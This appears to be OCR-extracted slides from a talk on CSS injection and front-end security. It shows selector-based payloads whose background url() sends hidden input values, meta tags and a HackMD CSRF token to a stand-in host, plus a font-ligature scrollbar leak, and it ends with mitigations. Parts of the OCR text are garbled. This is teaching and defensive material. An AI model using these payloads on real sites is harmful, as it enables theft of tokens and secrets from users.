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Front-end Security



Front-end Security
=> XSS(Cross-Site Scripting)




Front-end Security
C SRS




IE7 (15 years ago)

<p style="
X.expression(alert(l))
||>



CSS injection
=> Steal data via CSS






input[value®™="a"]1{
background: url("//exp.com?a") ;

;



CSS selectors

input[value™="a"] // prefix
input[value$="a"]1 // suffix
Tnput[value*="a"] // contains



Steal input value

<form>
<input type=hidden name=token value=abcl23>
<input name="action" value="update">
<input type="submit">

</form>



Steal input value

<form>
<input |type=hidden| name=token value=abcl23>
<input name="action" value="update">
<input type="submit">

</form>

input[value®="a"]{
background: url("//exp.com?a") ;
;



Steal input value

<form>
<input type=hidden name=token value=abcl23>

<input name="action" value="update">
<input type="submit">
</form>

input[value”="a"] + input {
background: url("//exp.com?a") ;

v

;



Steal input value

<form>

<input name="action" value="update">

<input type="submit">

<input type=hidden name=token value=abcl23>
</form>



has: to the rescue

<form>
<input name="action" value="update">
<input type="submit">

<input type=hidden name=token value=abcl23>

</form>

form:has(input[value”™="a"]) {
background: url("//exp.com?a") ;

;




‘has() CSS relational pseudo-class &-wo

Select elements containing specific content. For example,
a:has(img) selects all <a> elements that contain an <img>
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Steal meta content

<head>
<meta name=token content=abcl23>

</head>



Steal meta content

<head>

<meta name=token content=abcl23>
</head>

meta[content™="a"] {
background: url(//exp.com?a) ;
;




Steal meta content

<meta name="token" content="abcl23"> == ${
</head>
» <body>..</body>
</html>

html head meta

Styles Computed Layout Event Listeners »

hov .cls + & [{]

element.style
}
meta[content™="a"] { test.html:9

background: » url(https://exp.com?a);
+

meta { user agent stylesheet
display: none;

}



Steal meta content

<head>
<meta name=token content=abcl23>

</head>

meta {
display: block;

h

meta[content”™="a"] {
background: url(//exp.com?a);

;



Steal meta content

<head>

<meta name=token content=abcl23>
</head>

meta {

display: block; x
}

meta[content”™="a"] {
background: url(//exp.com?a) ;

J



Steal meta content

htm| head

Styles Computed Layout Event Listeners

Filter :hov .cls + & [4]]

A

element.stvyle
}

head { user agent stylesheet
display: none;

}




Steal meta content

<head>
<meta name=token content=abcl23>

</head>

meta, head {
display: block;

;

meta[content”™="a"] {
background: url(//exp.com?a);

v

;



% 0] Elements  Performance insights A

<html>
v <head>

<meta name="token" content="abcl23'"> == %0
html head meta

Styles Computed Layout Event Listeners DO

Filter

element.style

metal[content”™="a"] {
height: 100px;
background: » [ red;
}




v 0] Elements  Performance insights A

<html>
v <head>

» <meta name="token" content="abcl23'">..<

html head meta

Styles Computed Layout Event Listeners

Filter
element.style

+

meta, head {
display: block;

Pseudo ::before element

meta:before {

content: attr(content):
font-size: 50px;




Steal HackMD CSRF token

<meta
<meta
g'>
<meta
<meta
eq'>
<meta

<

name="mob1lle-web-app-capable" content="yes">
property="o0g:1image"” content="https://hackmd.10/1mages/media/HackMD-0g.]p

property="fb:app_1d" content="1436904003272070">
name="realtime-register-serverurl” content="https://hackmd.10/realtime-r

name="csrf-token" content="XpcPZett-AwbarXPHCKkUB69wTY2ZhPQQOoqU"> ==
<title>HackMD - Markdown BfEXN:iFi</title>

<link rel="1con" type="1image/png" href="https://hackmd.io/favicon.png'>
<link rel="apple- touch 1con“ href—”http . //hackmd. 10/a pple touch-icon.png'>
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Steal HackMD CSRF token

-reqg''>

<meta name="csrf-token" content="XpcPZett-A
#a { == $0
display: block; <title>HackMD - Markdown t#fEX0GEEE</title>
<link rel="1icon" type="1image/png" href="htt
; <link rel="apple-touch-icon" href="https://

white-space: pre-wrap;

meta[name="csrf-token"], head {
display: block;
}

ntml

meta[name="csrf-token"]
[content”="X"] {

background: url(//example.com?X)

} ¥

meta[name="csrf-token"] [content”="X"]

{

Styles

Filter

e Lenme

<script type="text/javascript" async src="h

head meta

Computed Event Listeners »

Layout

:hov

cls + &

l N T \ | -
- J
i DLY L

<style>

background: » url(//example.com?X);

¥




Steal HackMD CSRF token

HackMD Server




Steal HackMD CSRF token

HackMD Server

f server?token=a




Steal HackMD CSRF token

HackMD
server?token=a Server

—— s
Update content and <style>



Steal HackMD CSRF token

HackMD
server?token=ab Server

————————————————————————————————————
Update content and <style>



Demo



Steal CSRF token != CSRF @&



Steal any content

<script>
var secret
</script>

"abcl23";:

Is it possible?
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https://zh.m.wikipedia.org/zh-tw/File:Ligatures.svg




ligature

<svg>
<defs>
<font horiz-adv-x="0">
<font- face font fam11y "leak" units-per-em="1000" />




ligature + scroll bar

script {
width: 300px;
display: block;
font-family: "leak";
white-space: nowrap;
overflow-x: auto;

J

script::-webkit-scrollbar {
background: blue;

J

script::-webkit-scrollbar:horizontal {
background: url(https://exp.com?a);

J



ligature + scroll bar

file:///Users/li.hu/Documents/security-re &

var secret = abcl23

file:///Users/li.hu/Documents/security-re &




Mitigation

e Sanitization
* Content Security Policy
e style-src
e font-src
* Check origin/referer header
e Same-site cookie
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